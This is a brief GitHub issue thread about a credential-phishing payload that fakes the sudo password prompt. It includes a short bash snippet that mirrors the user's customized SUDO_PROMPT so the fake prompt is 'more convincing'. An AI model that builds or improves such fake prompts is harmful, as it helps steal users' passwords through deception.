Closed jhollowe closed 2 years ago
Hello @jhollowe, it's a good idea, I guess this replacement :
if [ -z "${SUDO_PROMPT}" ]
then
readonly INPUT_MESSAGE="[sudo] password for ${USER}: "
else
readonly INPUT_MESSAGE="${SUDO_PROMPT}"
fi
would allow this optimization ?
for payloads/library/phishing/fake-sudo/sudo-phishing.sh, using the
SUDO_PROMPT
environment variable would allow this to be more convincing in environments with customized sudo prompts.